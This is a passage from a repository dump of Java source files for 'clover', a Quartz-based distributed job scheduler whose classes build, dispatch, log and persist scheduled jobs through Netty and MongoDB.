*\r\n     * @param jobGroup    job 组\r\n     * @param jobName     job 名称\r\n     * @param jobClass    自定义实现Job接口的类\r\n     * @param jobType     LOCAL,REMOTE\r\n     * @param executeType ADD,UPDATE,DELETE\r\n     * @param startTime   job 执行时间\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildJobWithJobTypeAndExecuteTypeAndStartDate(String jobGroup, String jobName,\r\n                                                                               Class<? extends Job> jobClass,\r\n                                                                               ClientJob.JobType jobType,\r\n                                                                               ClientJob.ExecuteType executeType,\r\n                                                                               Date startTime) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startAt(startTime)).build(), jobType, executeType, DateUtil.formatWithDefaultPattern(startTime), \"\")\r\n                .jobClass(jobClass).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job类型&执行类型&job策略&执行时间 快速创建job\r\n     *\r\n     * @param jobGroup    job 组\r\n     * @param jobName     job 名称\r\n     * @param jobClass    自定义实现Job接口的类\r\n     * @param jobType     LOCAL,REMOTE\r\n     * @param executeType ADD,UPDATE,DELETE\r\n     * @param jobStrategy HASH,SYSTEM_CAPACITY\r\n     * @param startTime   job 执行时间\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(String jobGroup, String jobName,\r\n                                                                               Class<? extends Job> jobClass,\r\n                                                                               ClientJob.JobType jobType,\r\n                                                                               ClientJob.ExecuteType executeType,\r\n                                                                               ClientJob.JobStrategy jobStrategy,\r\n                                                                               Date startTime) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .startAt(startTime)).build(), jobType, executeType,jobStrategy, DateUtil.formatWithDefaultPattern(startTime), \"\")\r\n                .jobClass(jobClass).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job类型&执行类型&cron执行表达式 快速创建job\r\n     *\r\n     * @param jobGroup       job 组\r\n     * @param jobName        job 名称\r\n     * @param jobClass       自定义实现Job接口的类\r\n     * @param jobType        LOCAL,REMOTE\r\n     * @param executeType    ADD,UPDATE,DELETE\r\n     * @param cronExpression job cron执行表达式\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildJobWithJobTypeAndExecuteTypeAndCronExpression(String jobGroup, String jobName,\r\n                                                                                    Class<? extends Job> jobClass,\r\n                                                                                    ClientJob.JobType jobType,\r\n                                                                                    ClientJob.ExecuteType executeType,\r\n                                                                                    String cronExpression) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .withSchedule(cronSchedule(cronExpression)).build()), jobType, executeType, \"\", cronExpression)\r\n                .jobClass(jobClass).build();\r\n    }\r\n\r\n    /**\r\n     * 根据job类型&执行类型&job策略&cron执行表达式 快速创建job\r\n     *\r\n     * @param jobGroup       job 组\r\n     * @param jobName        job 名称\r\n     * @param jobClass       自定义实现Job接口的类\r\n     * @param jobType        LOCAL,REMOTE\r\n     * @param executeType    ADD,UPDATE,DELETE\r\n     * @param jobStrategy    HASH,SYSTEM_CAPACITY\r\n     * @param cronExpression job cron执行表达式\r\n     * @return ClientJob\r\n     */\r\n    public static ClientJob quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndCronExpression(String jobGroup, String jobName,\r\n                                                                                    Class<? extends Job> jobClass,\r\n                                                                                    ClientJob.JobType jobType,\r\n                                                                                    ClientJob.ExecuteType executeType,\r\n                                                                                    ClientJob.JobStrategy jobStrategy,\r\n                                                                                    String cronExpression) {\r\n        return ClientJobFactory.builder((newJob(jobClass)\r\n                .withIdentity(jobName, jobGroup).build()), (newTrigger()\r\n                .withIdentity(jobName, jobGroup)\r\n                .withSchedule(cronSchedule(cronExpression)).build()), jobType, executeType,jobStrategy, \"\", cronExpression)\r\n                .jobClass(jobClass).build();\r\n    }\r\n\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/ClientJobFactory.java",
    "content": "package com.gome.clover.core.job;\n\nimport com.gome.clover.core.job.ClientJob.ExecuteType;\nimport com.gome.clover.core.job.ClientJob.JobStrategy;\nimport com.gome.clover.core.job.ClientJob.JobType;\nimport org.quartz.Job;\nimport org.quartz.JobDetail;\nimport org.quartz.Trigger;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Client Job Factory\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/21\n * Time: 14:27\n */\n\n\npublic class ClientJobFactory {\n\n\tpublic static Builder builder(JobDetail jobDetail, Trigger trigger,String startTime,String cronExpression,String jobClassPath) {\n\t\treturn new Builder(jobDetail, trigger,startTime,cronExpression,jobClassPath);\n\t}\n\tpublic static Builder builder(JobDetail jobDetail, Trigger trigger, JobType jobType,String startTime,String cronExpression) {\n\t\treturn new Builder(jobDetail, trigger, jobType,startTime,cronExpression);\n\t}\n\tpublic static Builder builder(JobDetail jobDetail, Trigger trigger, JobType jobType,ExecuteType executeType,\n\t\t\t\t\t\t\t\t  String startTime,String cronExpression) {\n\t\treturn new Builder(jobDetail, trigger, jobType,executeType,startTime,cronExpression);\n\t}\n\tpublic static Builder builder(JobDetail jobDetail, Trigger trigger, JobType jobType,ExecuteType executeType,\n\t\t\t\t\t\t\t\t  JobStrategy jobStrategy,String startTime,String cronExpression) {\n\t\treturn new Builder(jobDetail, trigger, jobType,executeType,jobStrategy,startTime,cronExpression);\n\t}\n\n\tpublic static class Builder {\n\n\t\tprivate Trigger trigger;\n\t\tprivate JobDetail jobDetail;\n\t\tprivate ExecuteType executeType;\n\t\tprivate JobType jobType;\n\t\tprivate JobStrategy jobStrategy;\n\t\tprivate String startTime;\n\t\tprivate String cronExpression;\n\t\tprivate String[] fixedClientIps;\n\t\tprivate String[] fixedServerIps;\n\t\tprivate Class<? extends Job> jobClass;\n        private String clientIp;\n\t\tprivate String jobClassPath;\n\n\t\tBuilder(JobDetail jobDetail, Trigger trigger,String startTime,String cronExpression,String jobClassPath) {\n\t\t\tthis.jobDetail = jobDetail;\n\t\t\tthis.trigger = trigger;\n\t\t\tthis.jobType = JobType.LOCAL;\n\t\t\tthis.executeType = ExecuteType.ADD;\n\t\t\tthis.jobStrategy = JobStrategy.HASH;\n\t\t\tthis.startTime = startTime;\n\t\t\tthis.cronExpression = cronExpression;\n\t\t\tthis.jobClassPath = jobClassPath;\n\t\t}\n\t\tBuilder(JobDetail jobDetail, Trigger trigger, JobType jobType,String startTime,String cronExpression) {\n\t\t\tthis.jobDetail = jobDetail;\n\t\t\tthis.trigger = trigger;\n\t\t\tthis.jobType = jobType;\n\t\t\tthis.executeType = ExecuteType.ADD;\n\t\t\tthis.jobStrategy = JobStrategy.HASH;\n\t\t\tthis.startTime = startTime;\n\t\t\tthis.cronExpression = cronExpression;\n\t\t}\n\t\tBuilder(JobDetail jobDetail, Trigger trigger, JobType jobType,ExecuteType executeType,\n\t\t\t\tString startTime,String cronExpression) {\n\t\t\tthis.jobDetail = jobDetail;\n\t\t\tthis.trigger = trigger;\n\t\t\tthis.jobType = jobType;\n\t\t\tthis.executeType = executeType;\n\t\t\tthis.jobStrategy = JobStrategy.HASH;\n\t\t\tthis.startTime = startTime;\n\t\t\tthis.cronExpression = cronExpression;\n\t\t}\n\n\t\tBuilder(JobDetail jobDetail, Trigger trigger, JobType jobType,ExecuteType executeType,JobStrategy jobStrategy,\n\t\t\t\tString startTime,String cronExpression) {\n\t\t\tthis.jobDetail = jobDetail;\n\t\t\tthis.trigger = trigger;\n\t\t\tthis.jobType = jobType;\n\t\t\tthis.executeType = executeType;\n\t\t\tthis.jobStrategy = jobStrategy;\n\t\t\tthis.startTime = startTime;\n\t\t\tthis.cronExpression = cronExpression;\n\t\t}\n\n\t\tpublic Builder jobClass(Class<? extends Job> jobClass) {\n\t\t\tthis.jobClass = jobClass;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic Builder executeType(ExecuteType executeType) {\n\t\t\tthis.executeType = executeType;\n\t\t\treturn this;\n\t\t}\n\t\tpublic Builder jobStrategy(JobStrategy jobStrategy) {\n\t\t\tthis.jobStrategy = jobStrategy;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic Builder startTime(String startTime) {\n\t\t\tthis.startTime = startTime;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic Builder cronExpression(String cronExpression) {\n\t\t\tthis.cronExpression = cronExpression;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic Builder fixedClientIps(String... fixedClientIps) {\n\t\t\tthis.fixedClientIps = fixedClientIps;\n\t\t\treturn this;\n\t\t}\n\n\t\tpublic Builder fixedServerIps(String... fixedServerIps) {\n\t\t\tthis.fixedServerIps = fixedServerIps;\n\t\t\treturn this;\n\t\t}\n\n        public Builder clientIp(String ip) {\n            this.clientIp = ip;\n            return this;\n        }\n\n        public ClientJob build() {\n\t\t\tif (jobType != JobType.LOCAL  && jobClass == null)\n\t\t\t\tthrow new ExceptionInInitializerError(\"ClientJobFactory-->>build() jobClass can not null\");\n\t\t\treturn new ClientJob(this);\n\t\t}\n\n\t\tpublic Trigger getTrigger() {\n\t\t\treturn trigger;\n\t\t}\n\n\t\tpublic JobDetail getJobDetail() {\n\t\t\treturn jobDetail;\n\t\t}\n\n\t\tpublic ExecuteType getExecuteType() {\n\t\t\treturn executeType;\n\t\t}\n\n\t\tpublic JobType getJobType() {\n\t\t\treturn jobType;\n\t\t}\n\n\t\tpublic JobStrategy getJobStrategy() {\n\t\t\treturn jobStrategy;\n\t\t}\n\n\t\tpublic String getStartTime() {\n\t\t\treturn startTime;\n\t\t}\n\n\t\tpublic String getCronExpression() {\n\t\t\treturn cronExpression;\n\t\t}\n\n\t\tpublic String[] getFixedClientIps() {\n\t\t\treturn fixedClientIps;\n\t\t}\n\n        public String[] getFixedServerIps() {\n            return fixedServerIps;\n        }\n\n        public Class<? extends Job> getJobClass() {\n\t\t\treturn jobClass;\n\t\t}\n\n        public String getClientIp() {\n            return clientIp;\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/MyJobListener.java",
    "content": "package com.gome.clover.core.job;\n\nimport com.gome.clover.common.mongodb.MongoDBUtil;\nimport org.quartz.JobExecutionContext;\nimport org.quartz.JobExecutionException;\nimport org.quartz.JobKey;\nimport org.quartz.JobListener;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:My Job Listener(Listener数据存储到Redis中)\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/21\n * Time: 14:27\n */\n\npublic class MyJobListener implements JobListener {\n\n\tprivate static Logger logger = LoggerFactory.getLogger(MyJobListener.class);\n\n\t@Override\n\tpublic String getName() {\n\t\treturn MyJobListener.class.getSimpleName();\n\t}\n\n\t@Override\n\tpublic void jobToBeExecuted(JobExecutionContext context) {\n\t\tif(MongoDBUtil.isEnabledDB()){\n\t\t\tMongoDBUtil.updateJobTime(context,1);\n\t\t}\n\t}\n\t//logger.info(\"job [{}] is about to be executed.\", getJobKey(context).toString());\n\t//System.err.println(\"jobToBeExecuted:\"+context.getJobDetail().getKey());\n\t@Override\n\tpublic void jobExecutionVetoed(JobExecutionContext context) {\n\t\tlogger.info(\"job [{}] execution was vetoed.\", getJobKey(context).toString());\n\t\tSystem.err.println(\"jobExecutionVetoed:\"+context.getJobDetail().getKey());\n\t}\n\n\t@Override\n\tpublic void jobWasExecuted(JobExecutionContext context, JobExecutionException jobException) {\n\t\t//logger.info(\"job [{}] was executed.\", getJobKey(context).toString());\n\t\t//System.err.println(\"jobWasExecuted:\"+context.getJobDetail().getKey());\n\t\tif(MongoDBUtil.isEnabledDB()){\n\t\t\tMongoDBUtil.updateJobTime(context,2);\n\t\t}\n\t}\n\n\tprivate JobKey getJobKey(JobExecutionContext context) {\n\t\treturn context.getJobDetail().getKey();\n\t}\n}\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/ServerJob.java",
    "content": "package com.gome.clover.core.job;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.netty.client.ObjectReqClient;\r\nimport com.gome.clover.common.netty.server.ObjectRespServer;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.gome.clover.common.zeromq.AsyncSendMsg;\r\nimport com.gome.clover.common.zeromq.ZeroMQEntity;\r\nimport com.gome.clover.common.zk.ClientDict;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCollection;\r\nimport com.mongodb.DBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Server Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ServerJob extends ClientJob implements Job {\r\n    private static final Logger logger = LoggerFactory.getLogger(ServerJob.class);\r\n    private static final long serialVersionUID = -5273842746335434168L;\r\n\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        ServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(\r\n                (String) context.getJobDetail().getJobDataMap().get(CommonConstants.SERVER_JOB_INFO)));\r\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.SERVER_JOB_INFO, context.getJobDetail()\r\n                .getJobDataMap().get(CommonConstants.SERVER_JOB_INFO));\r\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.CLIENT_JOB_INFO, context.getJobDetail()\r\n                .getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO));\r\n        handlerJob(serverJob);\r\n        deleteJobFromDB(context, serverJob);\r\n    }\r\n\r\n    private boolean handlerJob(ServerJob clientJob) {\r\n        String[] fixedServerIps = clientJob.getFixedServerIps();\r\n        if (fixedServerIps != null && fixedServerIps.length > 0) {\r\n            return isContainLocalIp(fixedServerIps) && handlerJobType(clientJob);\r\n        } else {\r\n            return handlerJobType(clientJob);\r\n        }\r\n    }\r\n\r\n    private boolean handlerJobType(ServerJob serverJob) {\r\n        switch (serverJob.getJobType()) {\r\n            case REMOTE:\r\n                return handlerRemoteJob(serverJob);\r\n            case BROADCAST:\r\n                return handlerBroadcastJob(serverJob);\r\n            default:\r\n                logger.error(\"ServerJob-->>handlerJobType(\" + serverJob.toString() + \") NOT LOCAL|REMOTE, jobType is \" + serverJob.getJobType());\r\n                return false;\r\n        }\r\n    }\r\n\r\n    private boolean handlerRemoteJob(ServerJob serverJob) {\r\n        try {\r\n            String[] fixedClientIps = serverJob.getFixedClientIps();\r\n            BasicDBObject clientInfo;\r\n            String clientJobKey = serverJob.getJobDetail().getKey().toString();\r\n            Map retMap;\r\n            if (fixedClientIps != null && fixedClientIps.length > 0) {\r\n                retMap = ClientDict.self.hashClient4SByFixedClientIps(serverJob.getJobClassName(), fixedClientIps);\r\n                clientInfo = (BasicDBObject) retMap.get(CommonConstants.CLIENT_JOB_INFO);\r\n            } else {\r\n                switch (serverJob.getJobStrategy()) {\r\n                    case HASH:\r\n                        retMap = ClientDict.self.hashClient4S(serverJob.getJobClassName(), clientJobKey);\r\n                        break;\r\n                    case SYSTEM_CAPACITY:\r\n                        retMap = ClientDict.self.hashClient4SBySystemCapacity(serverJob.getJobClassName());\r\n                        break;\r\n                    default:\r\n                        retMap = ClientDict.self.hashClient4SBySystemCapacity(serverJob.getJobClassName());\r\n                }\r\n                clientInfo = (BasicDBObject) retMap.get(CommonConstants.CLIENT_JOB_INFO);\r\n            }\r\n            if ((Boolean)retMap.get(CommonConstants.SUCCESS) && null != clientInfo) {\r\n                String clientIp = (String) clientInfo.get(CommonConstants.IP);\r\n               /**\r\n                /*发送zero mq消息队列方式 开始\r\n                String clientPort = (String) clientInfo.get(CommonConstants.PORT);\r\n                AsyncSendMsg.sendWithThreadPool(clientIp, clientPort, JSON.toJSONString(new ZeroMQEntity(CommonConstants.MODULE_TYPE_CLIENT,\r\n                        clientIp, Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob)))));\r\n                发送zero mq消息队列方式 结束 **/\r\n                logger.error(\"************************\"+ClassUtil.ObjectToBytes(serverJob).length +\"************************\");\r\n                logger.error(\"************************\"+Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob)).length() +\"************************\");\r\n                new ObjectReqClient().connect(CommonConstants.NETTY_SERVER_PORT, clientIp, new ZeroMQEntity(CommonConstants.MODULE_TYPE_CLIENT,\r\n                        clientIp, Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob))));\r\n\r\n            } else {\r\n                //情况很严重 需要报警来解决问题\r\n                DBObject queryCondition = new BasicDBObject();\r\n                queryCondition.put(DBTableInfo.COL_JOB_KEY, clientJobKey);\r\n                queryCondition.put(DBTableInfo.COL_JOB_TYPE, JobType.REMOTE.name());\r\n                DBCollection dbCollection = MongoDBUtil.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                DBObject retObj = dbCollection.findOne(queryCondition);\r\n                String errorCode = (String) retMap.get(CommonConstants.ERROR_CODE);\r\n                String msg = null;\r\n                if (CommonConstants.ERROR_CODE_101.equals(errorCode)) {\r\n                    msg = \"ServerJob-->>handlerRemoteJob(\" + serverJob.toString() + \")  clientInfo null\";\r\n                } else if (CommonConstants.ERROR_CODE_102.equals(errorCode)) {\r\n                    msg = \"ServerJob-->>handlerRemoteJob(\" + serverJob.toString() + \") the memRatio(\"\r\n                            + retMap.get(CommonConstants.MEM_RATIO) + \") over max mem ratio(\"+CommonConstants.MAX_MEM_RATIO+\")\" +\r\n                            \" or the cpuRatio(\"+retMap.get(CommonConstants.CPU_RATIO)+\") over max cpu ratio(\"+CommonConstants.MAX_CPU_RATIO+\") \";\r\n                }\r\n                if (null != retObj && retObj.containsField(DBTableInfo.COL_FAIL_TIMES)) {\r\n                    int failTimes = Integer.parseInt(String.valueOf(retObj.get(DBTableInfo.COL_FAIL_TIMES)));\r\n                    if (failTimes >= 0 && failTimes < CommonConstants.MAX_FAIL_TIMES) {\r\n                        String title = \"Client of IP:\" + serverJob.getClientIp() + \" is error \";\r\n                        SendMailUtil.sendDefaultMail(title, msg);\r\n                        SendMailUtil.sendMailByJobKey(clientJobKey, title, msg);\r\n\r\n                        BasicDBObject updateCondition = new BasicDBObject();\r\n                        updateCondition.put(DBTableInfo.COL_FAIL_TIMES, (Integer.parseInt(String.valueOf(retObj.get(DBTableInfo.COL_FAIL_TIMES))) + 1));\r\n                        dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                                new BasicDBObject(\"$set\", updateCondition), true, false);\r\n                    }\r\n                }\r\n                logger.error(msg);\r\n                return false;\r\n            }\r\n        } catch (Exception e) {\r\n            logger.error(\"ServerJob-->>handlerRemoteJob(\" + serverJob.toString() + \") error \", e);\r\n            String execMethod = \"ModuleSchedulerServer-->>handlerRemoteJob(\" + serverJob.toString() + \")\";\r\n            String execResult = \"ModuleSchedulerServer-->>handlerRemoteJob(\" + serverJob.toString() + \") error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            return false;\r\n        }\r\n        return false;\r\n    }\r\n\r\n    private boolean isContainLocalIp(String ips[]) {\r\n        for (String ip : ips)\r\n            if (ip.equals(IpUtil.getLocalIP()))\r\n                return true;\r\n        return false;\r\n    }\r\n\r\n    private void deleteJobFromDB(JobExecutionContext context, ServerJob serverJob) {\r\n        String jobKey = context.getJobDetail().getKey().toString();\r\n        if (context.getNextFireTime() != null) {\r\n            //更新下DB中job状态\r\n            if (MongoDBUtil.isEnabledDB()) {\r\n                BasicDBObject document = getUpdateRemoteJobBasicDBObject(serverJob, jobKey);\r\n                MongoDBUtil.INSTANCE.update(document, DBTableInfo.TBL_CLOVER_JOB);\r\n            }\r\n            return;\r\n        }\r\n        BasicDBObject deleteCondition = new BasicDBObject();\r\n        deleteCondition.put(DBTableInfo.COL_JOB_KEY, jobKey);\r\n        deleteCondition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n        MongoDBUtil.INSTANCE.delete(deleteCondition, DBTableInfo.TBL_CLOVER_JOB);\r\n        logger.info(\"ServerJob-->>deleteJobFromDB(\" + jobKey + \") remove job [{}] from DB\", jobKey);\r\n    }\r\n\r\n    private BasicDBObject getUpdateRemoteJobBasicDBObject(ServerJob serverJob, String jobKey) {\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(DBTableInfo.COL_JOB_KEY, jobKey);\r\n        document.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n        document.put(DBTableInfo.COL_EXECUTE_TYPE, serverJob.getExecuteType().name());\r\n        document.put(DBTableInfo.COL_JOB_STRATEGY, serverJob.getJobStrategy().name());\r\n        document.put(DBTableInfo.COL_START_TIME, null != serverJob.getStartTime() ? serverJob.getStartTime() : \"\");\r\n        document.put(DBTableInfo.COL_CRON_EXPRESSION, null != serverJob.getCronExpression() ? serverJob.getCronExpression() : \"\");\r\n        document.put(DBTableInfo.COL_JOB_INFO, Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob)));\r\n        document.put(DBTableInfo.COL_CLIENT_IP, serverJob.getClientIp());\r\n        document.put(DBTableInfo.COL_SERVER_IP, IpUtil.getLocalIP());\r\n        document.put(DBTableInfo.COL_EXECUTE_START_TIME, \"\");\r\n        document.put(DBTableInfo.COL_EXECUTE_END_TIME, \"\");\r\n        document.put(DBTableInfo.COL_FIXED_CLIENT_IPS, null != serverJob.getFixedClientIps() ? JSON.toJSONString(serverJob.getFixedClientIps()) : \"\");\r\n        document.put(DBTableInfo.COL_FIXED_SERVER_IPS, null != serverJob.getFixedServerIps() ? JSON.toJSONString(serverJob.getFixedServerIps()) : \"\");\r\n        document.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_1);\r\n        document.put(DBTableInfo.COL_TIMES, 0);\r\n        document.put(DBTableInfo.COL_FAIL_TIMES, 0);\r\n        document.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n        return document;\r\n    }\r\n\r\n    private boolean handlerBroadcastJob(ServerJob serverJob) { //该功能慢慢考虑如何实现\r\n        return false;\r\n    }\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/core/job/ServerJobFactory.java",
    "content": "package com.gome.clover.core.job;\n\nimport com.gome.clover.common.tools.ClassUtil;\nimport com.gome.clover.common.tools.CommonConstants;\nimport org.apache.commons.codec.binary.Base64;\nimport org.quartz.*;\nimport org.quartz.spi.MutableTrigger;\n\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Server Job Factory\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/21\n * Time: 14:27\n */\n\npublic class ServerJobFactory {\n    public static ServerJob createControlJob(ClientJob clientJob) {\n        ServerJob serverJob = new ServerJob();\n        serverJob.setExecuteType(clientJob.getExecuteType());\n        serverJob.setJobStrategy(clientJob.getJobStrategy());\n        serverJob.setStartTime(clientJob.getStartTime());\n        serverJob.setCronExpression(clientJob.getCronExpression());\n        serverJob.setFixedClientIps(clientJob.getFixedClientIps());\n        serverJob.setFixedServerIps(clientJob.getFixedServerIps());\n        serverJob.setClientIp(clientJob.getClientIp());\n        serverJob.setJobType(ClientJob.JobType.REMOTE);\n        serverJob.setJobDetail(createJobDetail(clientJob));\n        serverJob.setTrigger(createTrigger(clientJob));\n        serverJob.setJobClassName(clientJob.getJobClassName());\n        serverJob.setRecoverJobFromDB(clientJob.isRecoverJobFromDB());\n        serverJob.setJobClassPath(clientJob.getJobClassPath());\n        setJobInfo(serverJob, clientJob);\n        return serverJob;\n    }\n\n    protected static TriggerKey createServerTriggerKey(ClientJob clientJob) {\n        return new TriggerKey(getClientJobName(clientJob), getClientJobGroup(clientJob));\n       // return new TriggerKey(createServerJobName(clientJob),CommonConstants.REMOTE_JOB_GROUP);\n    }\n\n    private static JobKey createServerJobKey(ClientJob clientJob) {\n        return new JobKey(getClientJobName(clientJob), getClientJobGroup(clientJob));\n        //return new JobKey(createServerJobName(clientJob),CommonConstants.REMOTE_JOB_GROUP);\n    }\n\n    private static String createServerJobName(ClientJob clientJob) {\n        return getClientJobGroup(clientJob) + \".\" + getClientJobName(clientJob);\n    }\n\n    private static String getClientJobName(ClientJob clientJob) {\n        return clientJob.getJobDetail().getKey().getName();\n    }\n\n    private static String getClientJobGroup(ClientJob clientJob) {\n        return clientJob.getJobDetail().getKey().getGroup();\n    }\n\n    private static JobDetail createJobDetail(ClientJob clientJob) {\n        return JobBuilder.newJob(ServerJob.class).withIdentity(createServerJobKey(clientJob)).build();\n    }\n\n    private static Trigger createTrigger(ClientJob clientJob) {\n        Trigger trigger = clientJob.getTrigger();\n        if ((trigger instanceof MutableTrigger) == false)\n            return null;\n        byte[] byteTrigger = ClassUtil.ObjectToBytes(trigger);\n        MutableTrigger mutableTrigger = (MutableTrigger) ClassUtil.BytesToObject(byteTrigger);\n        mutableTrigger.setKey(createServerTriggerKey(clientJob));\n        mutableTrigger.setJobKey(createServerJobKey(clientJob));\n        return mutableTrigger;\n    }\n\n    private static void setJobInfo(ServerJob serverJob, ClientJob clientJob) {\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.SERVER_JOB_INFO,Base64.encodeBase64String(\n                ClassUtil.ObjectToBytes(serverJob)));\n        /**\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.CLIENT_JOB_INFO,Base64.encodeBase64String(\n                ClassUtil.ObjectToBytes(clientJob)));\n         **/\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.CLIENT_JOB_PATH,clientJob.getJobClassName());\n\n    }\n\n}\n"
  },
  {
